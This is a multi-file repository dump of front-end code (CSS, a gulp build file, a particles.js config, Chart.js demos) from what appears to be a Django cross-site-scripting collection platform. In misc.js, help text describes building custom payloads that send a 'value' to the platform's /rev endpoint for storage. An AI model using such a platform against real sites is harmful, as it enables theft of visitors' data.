79 | -webkit-transform: perspective(120px) rotateX(0deg) rotateY(0deg);
80 | transform: perspective(120px) rotateX(0deg) rotateY(0deg);
81 | }
82 | 50% {
83 | -webkit-transform: perspective(120px) rotateX(-180.1deg) rotateY(0deg);
84 | transform: perspective(120px) rotateX(-180.1deg) rotateY(0deg);
85 | }
86 | 100% {
87 | -webkit-transform: perspective(120px) rotateX(-180deg) rotateY(-179.9deg);
88 | transform: perspective(120px) rotateX(-180deg) rotateY(-179.9deg);
89 | }
90 | }
91 |
92 | @keyframes login-small{
93 | 0%{
94 | transform: scale(1);-moz-transform: scale(1); /* Firefox 4 */-webkit-transform: scale(1); /* Safari 和 Chrome */-o-transform: scale(1); /* Opera */-ms-transform:scale(1); /* IE 9 */
95 | }
96 | 100%{
97 | transform: scale(0.2);-moz-transform: scale(0.1); /* Firefox 4 */-webkit-transform: scale(0.2); /* Safari 和 Chrome */-o-transform: scale(0.1); /* Opera */-ms-transform:scale(0.1); /* IE 9 */
98 | }
99 | }
100 |
101 | .login{z-index: 2;position:absolute;width: 350px;border-radius: 5px;height: 400px;background: white;box-shadow: 0px 0px 5px #333333;top: 50%;left: 50%;margin-top: -250px;margin-left: -175px;transition: all 1s;-moz-transition: all 1s; /* Firefox 4 */-webkit-transition: all 1s; /* Safari 和 Chrome */-o-transition: all 1s; /* Opera */}
102 | .login-top{font-size: 24px;margin-top: 50px;padding-left: 40px;box-sizing: border-box;color: #333333;margin-bottom: 50px;}
103 | .login-center{width: 100%;box-sizing: border-box;padding: 0 40px;margin-bottom: 30px;}
104 | .login-center-img{width: 20px;height: 20px;float: left;margin-top: 5px;}
105 | .login-center-img>img{width: 100%;}
106 | .login-center-input{float: left;width: 230px;margin-left: 15px;height: 30px;position: relative;}
107 | .login-center-input input{z-index: 2;transition: all 0.5s;padding-left: 10px;color: #333333;width: 100%;height: 30px;border: 0;border-bottom: 1px solid #cccccc;border-top: 1px solid #ffffff;border-left: 1px solid #ffffff;border-right: 1px solid #ffffff;box-sizing: border-box;outline: none;position: relative;}
108 | .login-center-input input:focus{border: 1px solid dodgerblue;}
109 | .login-center-input-text{background: white;padding: 0 5px;position: absolute;z-index: 0;opacity: 0;height: 20px;top: 50%;margin-top: -10px;font-size: 14px;left: 5px;color: dodgerblue;line-height: 20px;transition: all 0.5s;-moz-transition: all 0.5s; /* Firefox 4 */-webkit-transition: all 0.5s; /* Safari 和 Chrome */-o-transition: all 0.5s; /* Opera */}
110 | .login-center-input input:focus~.login-center-input-text{top: 0;z-index: 3;opacity: 1;margin-top: -15px;}
111 | .login.active{-webkit-animation: login-small 0.8s ; animation: login-small 0.8s ;animation-fill-mode:forwards;-webkit-animation-fill-mode:forwards}
112 | .login-button{cursor: pointer;width: 140px;text-align: center;height: 40px;line-height: 40px;background-color: dodgerblue;border-radius: 5px;margin-top: 10px;color: white;}
113 | .register-button{cursor: pointer;width: 140px;text-align: center;height: 40px;line-height: 40px;background-color: dodgerblue;border-radius: 5px;margin-top: 10px;color: white;}
114 |
115 |
--------------------------------------------------------------------------------
/static/user/css/tasksform.css:
--------------------------------------------------------------------------------
1 | @charset "utf-8";
2 | .mask{margin:0;padding:0;border:none;width:100%;height:100%;background:#333;opacity:0.6;filter:alpha(opacity=60);z-index:9999;position:fixed;top:0;left:0;display:none;}
3 | #Letterinfo{position:absolute;left:50%;top:50%;transform: translate(-50%, -50%);background:white;width:500px;height:400px;border:3px solid #444;border-radius:7px;z-index:10000;display:none;}
4 | #Failchange{position:absolute;left:50%;top:50%;transform: translate(-50%, -50%);background:white;width:200px;height:60px;border:3px solid #444;border-radius:7px;z-index:10000;display:none;}
5 | #Userinfo{position:absolute;left:50%;top:50%;transform: translate(-50%, -50%);background:white;border:3px solid #444;border-radius:7px;z-index:10000;display:none;}
6 | #qrcodeform{position:absolute;left:50%;top:50%;transform: translate(-50%, -50%);background:white;width:500px;height:500px;border:3px solid #444;border-radius:7px;z-index:10000;display:none;}
7 | .row1{background:#f7f7f7;padding:0px 20px;line-height:50px;height:50px;font-weight:bold;color:#666;font-size:20px;}
8 | .close_btn{font-family:arial;font-size:30px;font-weight:700;color:#999;text-decoration:none;float:right;padding-right:4px;}
9 | #example{position:fixed;left:390px;top:30px;color:White;background:#4490f7;text-decoration:none;padding:10px 95px;margin-left:87px;margin-top:40px;border-radius:5px;opacity:0.6;filter:alpha(opacity=60);}
--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Bold.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Bold.eot
--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Bold.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Bold.ttf
--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Bold.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Bold.woff
--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Bold.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Bold.woff2
--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Light.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Light.eot
--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Light.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Light.ttf
--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Light.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Light.woff
--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Light.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Light.woff2
--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Medium.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Medium.eot
--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Medium.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Medium.ttf
--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Medium.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Medium.woff
--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Medium.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Medium.woff2
--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Regular.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Regular.eot
--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Regular.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Regular.ttf
--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Regular.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Regular.woff
--------------------------------------------------------------------------------
/static/user/fonts/Ubuntu/Ubuntu-Regular.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/fonts/Ubuntu/Ubuntu-Regular.woff2
--------------------------------------------------------------------------------
/static/user/gulpfile.js:
--------------------------------------------------------------------------------
1 | 'use strict'
2 |
3 | var gulp = require('gulp');
4 | var browserSync = require('browser-sync').create();
5 | var sass = require('gulp-sass');
6 | var rename = require('gulp-rename');
7 | var del = require('del');
8 | var runSequence = require('run-sequence');
9 | var replace = require('gulp-replace');
10 | var injectPartials = require('gulp-inject-partials');
11 | var inject = require('gulp-inject');
12 | var sourcemaps = require('gulp-sourcemaps');
13 | var concat = require('gulp-concat');
14 | var merge = require('merge-stream');
15 |
16 | gulp.paths = {
17 | dist: 'dist',
18 | };
19 |
20 | var paths = gulp.paths;
21 |
22 |
23 |
24 | // Static Server + watching scss/html files
25 | gulp.task('serve', ['sass'], function() {
26 |
27 | browserSync.init({
28 | port: 3000,
29 | server: "./",
30 | ghostMode: false,
31 | notify: false
32 | });
33 |
34 | gulp.watch('scss/**/*.scss', ['sass']);
35 | gulp.watch('**/*.html').on('change', browserSync.reload);
36 | gulp.watch('js/**/*.js').on('change', browserSync.reload);
37 |
38 | });
39 |
40 |
41 |
42 | // Static Server without watching scss files
43 | gulp.task('serve:lite', function() {
44 |
45 | browserSync.init({
46 | server: "./",
47 | ghostMode: false,
48 | notify: false
49 | });
50 |
51 | gulp.watch('**/*.css').on('change', browserSync.reload);
52 | gulp.watch('**/*.html').on('change', browserSync.reload);
53 | gulp.watch('js/**/*.js').on('change', browserSync.reload);
54 |
55 | });
56 |
57 |
58 |
59 | gulp.task('sass', function () {
60 | return gulp.src('./scss/style.scss')
61 | .pipe(sourcemaps.init())
62 | .pipe(sass({outputStyle: 'expanded'}).on('error', sass.logError))
63 | .pipe(sourcemaps.write('./maps'))
64 | .pipe(gulp.dest('./css'))
65 | .pipe(browserSync.stream());
66 | });
67 |
68 |
69 |
70 | gulp.task('sass:watch', function () {
71 | gulp.watch('./scss/**/*.scss');
72 | });
73 |
74 |
75 | /*sequence for injecting partials and replacing paths*/
76 | gulp.task('inject', function() {
77 | runSequence('injectPartial' , 'injectAssets' , 'replacePath');
78 | });
79 |
80 |
81 |
82 | /* inject partials like sidebar and navbar */
83 | gulp.task('injectPartial', function () {
84 | return gulp.src("./**/*.html", { base: "./" })
85 | .pipe(injectPartials())
86 | .pipe(gulp.dest("."));
87 | });
88 |
89 |
90 |
91 | /* inject Js and CCS assets into HTML */
92 | gulp.task('injectAssets', function () {
93 | return gulp.src('./**/*.html')
94 | .pipe(inject(gulp.src([
95 | './vendors/iconfonts/mdi/css/materialdesignicons.min.css',
96 | './vendors/css/vendor.bundle.base.css',
97 | './vendors/css/vendor.bundle.addons.css',
98 | './vendors/js/vendor.bundle.base.js',
99 | './vendors/js/vendor.bundle.addons.js'
100 | ], {read: false}), {name: 'plugins', relative: true}))
101 | .pipe(inject(gulp.src([
102 | './css/*.css',
103 | './js/off-canvas.js',
104 | './js/misc.js',
105 | ], {read: false}), {relative: true}))
106 | .pipe(gulp.dest('.'));
107 | });
108 |
109 |
110 |
111 | /*replace image path and linking after injection*/
112 | gulp.task('replacePath', function(){
113 | gulp.src('pages/*/*.html', { base: "./" })
114 | .pipe(replace('src="images/', 'src="../../images/'))
115 | .pipe(replace('href="pages/', 'href="../../pages/'))
116 | .pipe(replace('href="index.html"', 'href="../../index.html"'))
117 | .pipe(gulp.dest('.'));
118 | gulp.src('pages/*.html', { base: "./" })
119 | .pipe(replace('src="images/', 'src="../images/'))
120 | .pipe(replace('"pages/', '"../pages/'))
121 | .pipe(replace('href="index.html"', 'href="../index.html"'))
122 | .pipe(gulp.dest('.'));
123 | });
124 |
125 | /*sequence for building vendor scripts and styles*/
126 | gulp.task('bundleVendors', function() {
127 | runSequence('clean:vendors','copyRecursiveVendorFiles', 'buildBaseVendorStyles','buildBaseVendorScripts', 'buildOptionalVendorScripts');
128 | });
129 |
130 | gulp.task('clean:vendors', function () {
131 | return del([
132 | 'vendors/**/*'
133 | ]);
134 | });
135 |
136 | /* Copy whole folder of some specific node modules that are calling other files internally */
137 | gulp.task('copyRecursiveVendorFiles', function() {
138 | return gulp.src(['./node_modules/mdi/**/*'])
139 | .pipe(gulp.dest('./vendors/iconfonts/mdi'));
140 | });
141 |
142 | /*Building vendor scripts needed for basic template rendering*/
143 | gulp.task('buildBaseVendorScripts', function() {
144 | return gulp.src([
145 | './node_modules/jquery/dist/jquery.min.js',
146 | './node_modules/popper.js/dist/umd/popper.min.js',
147 | './node_modules/bootstrap/dist/js/bootstrap.min.js',
148 | './node_modules/perfect-scrollbar/dist/perfect-scrollbar.min.js'
149 | ])
150 | .pipe(concat('vendor.bundle.base.js'))
151 | .pipe(gulp.dest('./vendors/js'));
152 | });
153 |
154 | /*Building vendor styles needed for basic template rendering*/
155 | gulp.task('buildBaseVendorStyles', function() {
156 | return gulp.src(['./node_modules/perfect-scrollbar/css/perfect-scrollbar.css'])
157 | .pipe(concat('vendor.bundle.base.css'))
158 | .pipe(gulp.dest('./vendors/css'));
159 | });
160 |
161 | /*Building optional vendor scripts for addons*/
162 | gulp.task('buildOptionalVendorScripts', function() {
163 | return gulp.src([
164 | 'node_modules/chart.js/dist/Chart.min.js',
165 | ])
166 | .pipe(concat('vendor.bundle.addons.js'))
167 | .pipe(gulp.dest('./vendors/js'));
168 | });
169 | gulp.task('default', ['serve']);
170 |
--------------------------------------------------------------------------------
/static/user/images/bg.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/images/bg.jpg
--------------------------------------------------------------------------------
/static/user/images/dashboard/circle.svg:
--------------------------------------------------------------------------------
1 |
2 |
3 |
24 |
--------------------------------------------------------------------------------
/static/user/images/faces/face.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/images/faces/face.jpg
--------------------------------------------------------------------------------
/static/user/images/favicon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/images/favicon.png
--------------------------------------------------------------------------------
/static/user/images/icons.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/images/icons.png
--------------------------------------------------------------------------------
/static/user/images/into.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/images/into.png
--------------------------------------------------------------------------------
/static/user/images/logo-mini.svg:
--------------------------------------------------------------------------------
1 |
2 |
3 |
42 |
--------------------------------------------------------------------------------
/static/user/images/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/images/logo.png
--------------------------------------------------------------------------------
/static/user/img/bg.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/img/bg.jpg
--------------------------------------------------------------------------------
/static/user/img/email.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/img/email.png
--------------------------------------------------------------------------------
/static/user/img/name.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/img/name.png
--------------------------------------------------------------------------------
/static/user/img/password.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/user/img/password.png
--------------------------------------------------------------------------------
/static/user/js/app.js:
--------------------------------------------------------------------------------
1 | /* -----------------------------------------------
2 | /* How to use? : Check the GitHub README
3 | /* ----------------------------------------------- */
4 |
5 | /* To load a config file (particles.json) you need to host this demo (MAMP/WAMP/local)... */
6 | /*
7 | particlesJS.load('particles-js', 'particles.json', function() {
8 | console.log('particles.js loaded - callback');
9 | });
10 | */
11 |
12 | /* Otherwise just put the config content (json): */
13 |
14 | particlesJS('particles-js',
15 |
16 | {
17 | "particles": {
18 | "number": {
19 | "value": 40,
20 | "density": {
21 | "enable": true,
22 | "value_area": 800
23 | }
24 | },
25 | "color": {
26 | "value": "#ffffff"
27 | },
28 | "shape": {
29 | "type": "circle",
30 | "stroke": {
31 | "width": 0,
32 | "color": "#000000"
33 | },
34 | "polygon": {
35 | "nb_sides": 5
36 | },
37 | "image": {
38 | "src": "img/github.svg",
39 | "width": 100,
40 | "height": 100
41 | }
42 | },
43 | "opacity": {
44 | "value": 0.7,
45 | "random": false,
46 | "anim": {
47 | "enable": false,
48 | "speed": 1,
49 | "opacity_min": 0.1,
50 | "sync": false
51 | }
52 | },
53 | "size": {
54 | "value": 3,
55 | "random": true,
56 | "anim": {
57 | "enable": false,
58 | "speed": 40,
59 | "size_min": 0.1,
60 | "sync": false
61 | }
62 | },
63 | "line_linked": {
64 | "enable": true,
65 | "distance": 150,
66 | "color": "#ffffff",
67 | "opacity": 0.6,
68 | "width": 1
69 | },
70 | "move": {
71 | "enable": true,
72 | "speed": 6,
73 | "direction": "none",
74 | "random": false,
75 | "straight": false,
76 | "out_mode": "out",
77 | "bounce": false,
78 | "attract": {
79 | "enable": false,
80 | "rotateX": 600,
81 | "rotateY": 1200
82 | }
83 | }
84 | },
85 | "interactivity": {
86 | "detect_on": "canvas",
87 | "events": {
88 | "onhover": {
89 | "enable": true,
90 | "mode": "grab"
91 | },
92 | "onclick": {
93 | "enable": true,
94 | "mode": "push"
95 | },
96 | "resize": true
97 | },
98 | "modes": {
99 | "grab": {
100 | "distance": 200,
101 | "line_linked": {
102 | "opacity": 1
103 | }
104 | },
105 | "bubble": {
106 | "distance": 400,
107 | "size": 40,
108 | "duration": 2,
109 | "opacity": 8,
110 | "speed": 3
111 | },
112 | "repulse": {
113 | "distance": 200,
114 | "duration": 0.4
115 | },
116 | "push": {
117 | "particles_nb": 4
118 | },
119 | "remove": {
120 | "particles_nb": 2
121 | }
122 | }
123 | },
124 | "retina_detect": false
125 | }
126 |
127 | );
--------------------------------------------------------------------------------
/static/user/js/chart.js:
--------------------------------------------------------------------------------
1 | $(function() {
2 | /* ChartJS
3 | * -------
4 | * Data and config for chartjs
5 | */
6 | 'use strict';
7 | var data = {
8 | labels: ["2013", "2014", "2014", "2015", "2016", "2017"],
9 | datasets: [{
10 | label: '# of Votes',
11 | data: [10, 19, 3, 5, 2, 3],
12 | backgroundColor: [
13 | 'rgba(255, 99, 132, 0.2)',
14 | 'rgba(54, 162, 235, 0.2)',
15 | 'rgba(255, 206, 86, 0.2)',
16 | 'rgba(75, 192, 192, 0.2)',
17 | 'rgba(153, 102, 255, 0.2)',
18 | 'rgba(255, 159, 64, 0.2)'
19 | ],
20 | borderColor: [
21 | 'rgba(255,99,132,1)',
22 | 'rgba(54, 162, 235, 1)',
23 | 'rgba(255, 206, 86, 1)',
24 | 'rgba(75, 192, 192, 1)',
25 | 'rgba(153, 102, 255, 1)',
26 | 'rgba(255, 159, 64, 1)'
27 | ],
28 | borderWidth: 1,
29 | fill: false
30 | }]
31 | };
32 | var multiLineData = {
33 | labels: ["Red", "Blue", "Yellow", "Green", "Purple", "Orange"],
34 | datasets: [{
35 | label: 'Dataset 1',
36 | data: [12, 19, 3, 5, 2, 3],
37 | borderColor: [
38 | '#587ce4'
39 | ],
40 | borderWidth: 2,
41 | fill: false
42 | },
43 | {
44 | label: 'Dataset 2',
45 | data: [5, 23, 7, 12, 42, 23],
46 | borderColor: [
47 | '#ede190'
48 | ],
49 | borderWidth: 2,
50 | fill: false
51 | },
52 | {
53 | label: 'Dataset 3',
54 | data: [15, 10, 21, 32, 12, 33],
55 | borderColor: [
56 | '#f44252'
57 | ],
58 | borderWidth: 2,
59 | fill: false
60 | }
61 | ]
62 | };
63 | var options = {
64 | scales: {
65 | yAxes: [{
66 | ticks: {
67 | beginAtZero: true
68 | }
69 | }]
70 | },
71 | legend: {
72 | display: false
73 | },
74 | elements: {
75 | point: {
76 | radius: 0
77 | }
78 | }
79 |
80 | };
81 | var doughnutPieData = {
82 | datasets: [{
83 | data: [30, 40, 30],
84 | backgroundColor: [
85 | 'rgba(255, 99, 132, 0.5)',
86 | 'rgba(54, 162, 235, 0.5)',
87 | 'rgba(255, 206, 86, 0.5)',
88 | 'rgba(75, 192, 192, 0.5)',
89 | 'rgba(153, 102, 255, 0.5)',
90 | 'rgba(255, 159, 64, 0.5)'
91 | ],
92 | borderColor: [
93 | 'rgba(255,99,132,1)',
94 | 'rgba(54, 162, 235, 1)',
95 | 'rgba(255, 206, 86, 1)',
96 | 'rgba(75, 192, 192, 1)',
97 | 'rgba(153, 102, 255, 1)',
98 | 'rgba(255, 159, 64, 1)'
99 | ],
100 | }],
101 |
102 | // These labels appear in the legend and in the tooltips when hovering different arcs
103 | labels: [
104 | 'Pink',
105 | 'Blue',
106 | 'Yellow',
107 | ]
108 | };
109 | var doughnutPieOptions = {
110 | responsive: true,
111 | animation: {
112 | animateScale: true,
113 | animateRotate: true
114 | }
115 | };
116 | var areaData = {
117 | labels: ["2013", "2014", "2015", "2016", "2017"],
118 | datasets: [{
119 | label: '# of Votes',
120 | data: [12, 19, 3, 5, 2, 3],
121 | backgroundColor: [
122 | 'rgba(255, 99, 132, 0.2)',
123 | 'rgba(54, 162, 235, 0.2)',
124 | 'rgba(255, 206, 86, 0.2)',
125 | 'rgba(75, 192, 192, 0.2)',
126 | 'rgba(153, 102, 255, 0.2)',
127 | 'rgba(255, 159, 64, 0.2)'
128 | ],
129 | borderColor: [
130 | 'rgba(255,99,132,1)',
131 | 'rgba(54, 162, 235, 1)',
132 | 'rgba(255, 206, 86, 1)',
133 | 'rgba(75, 192, 192, 1)',
134 | 'rgba(153, 102, 255, 1)',
135 | 'rgba(255, 159, 64, 1)'
136 | ],
137 | borderWidth: 1,
138 | fill: true, // 3: no fill
139 | }]
140 | };
141 |
142 | var areaOptions = {
143 | plugins: {
144 | filler: {
145 | propagate: true
146 | }
147 | }
148 | }
149 |
150 | var multiAreaData = {
151 | labels: ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"],
152 | datasets: [{
153 | label: 'Facebook',
154 | data: [8, 11, 13, 15, 12, 13, 16, 15, 13, 19, 11, 14],
155 | borderColor: ['rgba(255, 99, 132, 0.5)'],
156 | backgroundColor: ['rgba(255, 99, 132, 0.5)'],
157 | borderWidth: 1,
158 | fill: true
159 | },
160 | {
161 | label: 'Twitter',
162 | data: [7, 17, 12, 16, 14, 18, 16, 12, 15, 11, 13, 9],
163 | borderColor: ['rgba(54, 162, 235, 0.5)'],
164 | backgroundColor: ['rgba(54, 162, 235, 0.5)'],
165 | borderWidth: 1,
166 | fill: true
167 | },
168 | {
169 | label: 'Linkedin',
170 | data: [6, 14, 16, 20, 12, 18, 15, 12, 17, 19, 15, 11],
171 | borderColor: ['rgba(255, 206, 86, 0.5)'],
172 | backgroundColor: ['rgba(255, 206, 86, 0.5)'],
173 | borderWidth: 1,
174 | fill: true
175 | }
176 | ]
177 | };
178 |
179 | var multiAreaOptions = {
180 | plugins: {
181 | filler: {
182 | propagate: true
183 | }
184 | },
185 | elements: {
186 | point: {
187 | radius: 0
188 | }
189 | },
190 | scales: {
191 | xAxes: [{
192 | gridLines: {
193 | display: false
194 | }
195 | }],
196 | yAxes: [{
197 | gridLines: {
198 | display: false
199 | }
200 | }]
201 | }
202 | }
203 |
204 | var scatterChartData = {
205 | datasets: [{
206 | label: 'First Dataset',
207 | data: [{
208 | x: -10,
209 | y: 0
210 | },
211 | {
212 | x: 0,
213 | y: 3
214 | },
215 | {
216 | x: -25,
217 | y: 5
218 | },
219 | {
220 | x: 40,
221 | y: 5
222 | }
223 | ],
224 | backgroundColor: [
225 | 'rgba(255, 99, 132, 0.2)'
226 | ],
227 | borderColor: [
228 | 'rgba(255,99,132,1)'
229 | ],
230 | borderWidth: 1
231 | },
232 | {
233 | label: 'Second Dataset',
234 | data: [{
235 | x: 10,
236 | y: 5
237 | },
238 | {
239 | x: 20,
240 | y: -30
241 | },
242 | {
243 | x: -25,
244 | y: 15
245 | },
246 | {
247 | x: -10,
248 | y: 5
249 | }
250 | ],
251 | backgroundColor: [
252 | 'rgba(54, 162, 235, 0.2)',
253 | ],
254 | borderColor: [
255 | 'rgba(54, 162, 235, 1)',
256 | ],
257 | borderWidth: 1
258 | }
259 | ]
260 | }
261 |
262 | var scatterChartOptions = {
263 | scales: {
264 | xAxes: [{
265 | type: 'linear',
266 | position: 'bottom'
267 | }]
268 | }
269 | }
270 | // Get context with jQuery - using jQuery's .get() method.
271 | if ($("#barChart").length) {
272 | var barChartCanvas = $("#barChart").get(0).getContext("2d");
273 | // This will get the first returned node in the jQuery collection.
274 | var barChart = new Chart(barChartCanvas, {
275 | type: 'bar',
276 | data: data,
277 | options: options
278 | });
279 | }
280 |
281 | if ($("#lineChart").length) {
282 | var lineChartCanvas = $("#lineChart").get(0).getContext("2d");
283 | var lineChart = new Chart(lineChartCanvas, {
284 | type: 'line',
285 | data: data,
286 | options: options
287 | });
288 | }
289 |
290 | if ($("#linechart-multi").length) {
291 | var multiLineCanvas = $("#linechart-multi").get(0).getContext("2d");
292 | var lineChart = new Chart(multiLineCanvas, {
293 | type: 'line',
294 | data: multiLineData,
295 | options: options
296 | });
297 | }
298 |
299 | if ($("#areachart-multi").length) {
300 | var multiAreaCanvas = $("#areachart-multi").get(0).getContext("2d");
301 | var multiAreaChart = new Chart(multiAreaCanvas, {
302 | type: 'line',
303 | data: multiAreaData,
304 | options: multiAreaOptions
305 | });
306 | }
307 |
308 | if ($("#doughnutChart").length) {
309 | var doughnutChartCanvas = $("#doughnutChart").get(0).getContext("2d");
310 | var doughnutChart = new Chart(doughnutChartCanvas, {
311 | type: 'doughnut',
312 | data: doughnutPieData,
313 | options: doughnutPieOptions
314 | });
315 | }
316 |
317 | if ($("#pieChart").length) {
318 | var pieChartCanvas = $("#pieChart").get(0).getContext("2d");
319 | var pieChart = new Chart(pieChartCanvas, {
320 | type: 'pie',
321 | data: doughnutPieData,
322 | options: doughnutPieOptions
323 | });
324 | }
325 |
326 | if ($("#areaChart").length) {
327 | var areaChartCanvas = $("#areaChart").get(0).getContext("2d");
328 | var areaChart = new Chart(areaChartCanvas, {
329 | type: 'line',
330 | data: areaData,
331 | options: areaOptions
332 | });
333 | }
334 |
335 | if ($("#scatterChart").length) {
336 | var scatterChartCanvas = $("#scatterChart").get(0).getContext("2d");
337 | var scatterChart = new Chart(scatterChartCanvas, {
338 | type: 'scatter',
339 | data: scatterChartData,
340 | options: scatterChartOptions
341 | });
342 | }
343 |
344 | if ($("#browserTrafficChart").length) {
345 | var doughnutChartCanvas = $("#browserTrafficChart").get(0).getContext("2d");
346 | var doughnutChart = new Chart(doughnutChartCanvas, {
347 | type: 'doughnut',
348 | data: browserTrafficData,
349 | options: doughnutPieOptions
350 | });
351 | }
352 | });
--------------------------------------------------------------------------------
/static/user/js/misc.js:
--------------------------------------------------------------------------------
1 | (function($) {
2 | 'use strict';
3 | $(function() {
4 | var body = $('body');
5 | var contentWrapper = $('.content-wrapper');
6 | var scroller = $('.container-scroller');
7 | var footer = $('.footer');
8 | var sidebar = $('.sidebar');
9 |
10 | //Ajax获取explain
11 | $('#selectPayload').change(function () {
12 | var payload_name = $(this).val();
13 | if(payload_name !=='diy' && payload_name!=='0'){
14 | $('#diypayload').remove();
15 | if(payload_name === '基础Payload'){
16 | $('#keep').append('');
17 | }else{
18 | $('#keep1').remove();
19 | }
20 | $.ajax({
21 | type: "POST",
22 | url: "/user/ajax_payload_explain/",
23 | data: {payload_name},
24 | success: function(msg){
25 | var jsondic = JSON.parse(msg);
26 | $('#explain').html(jsondic.value);
27 | if(jsondic.parameter !== ''){
28 | $('#addparameter').html('');
29 | }else{
30 | $('#parameter').remove();
31 | }
32 | }
33 | });
34 | }else{
35 | $('#parameter').remove();
36 | $('#keep1').remove();
37 | if(payload_name!=='0'){
38 | $('#explain').html('自定义Payload:
参数:id(项目id,payload中使用平台url使用占位符(<-|HOST|->)代替、id占位符(<-|ID|->)代替、value(将作为信封内容存入数据库)
请求数据接受方式:GET和POST
请求地址: /rev');
